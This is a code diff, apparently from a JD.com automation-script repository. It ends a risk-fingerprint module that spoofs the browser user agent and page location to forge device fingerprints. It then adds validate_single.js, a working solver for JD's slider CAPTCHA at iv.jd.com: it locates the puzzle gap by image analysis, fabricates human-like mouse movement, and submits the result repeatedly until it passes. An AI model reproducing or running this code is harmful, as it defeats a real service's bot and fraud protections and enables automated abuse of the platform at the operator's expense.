jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(userAgent, url = document.location.href) { + navigator.userAgent = userAgent + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return { fp, ...arr } +} + +JdJrTdRiskFinger.getBody = getBody; +module.exports = JdJrTdRiskFinger; \ No newline at end of file diff --git a/utils/validate_single.js b/utils/validate_single.js new file mode 100644 index 0000000000..79d515ae7a --- /dev/null +++ b/utils/validate_single.js @@ -0,0 +1,497 @@ +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +const UA = require('../USER_AGENTS.js').USER_AGENT; + + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "scene": "cww", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + } + + async run() { + const tryRecognize = async () => { + const x = await this.recognize(); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}); + + if (result.message === 'success') { + console.log(result); + console.log('JDJRValidator: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.count(JSON.stringify(result)); + await sleep(300); + return await this.run(); + } + } + + async recognize() { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: ''}); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + console.log('%f\%', (i / n) * 100); + } + } + + console.log('successful: %f\%', (count / n) * 100); + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA, ...extraData, ...data}).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': UA, + }; + const req = http.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 20; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +// new JDJRValidator().run().then(r => { +// console.log(r.validate) +// }) +module.exports = { + JDJRValidator +} \ No newline at end of file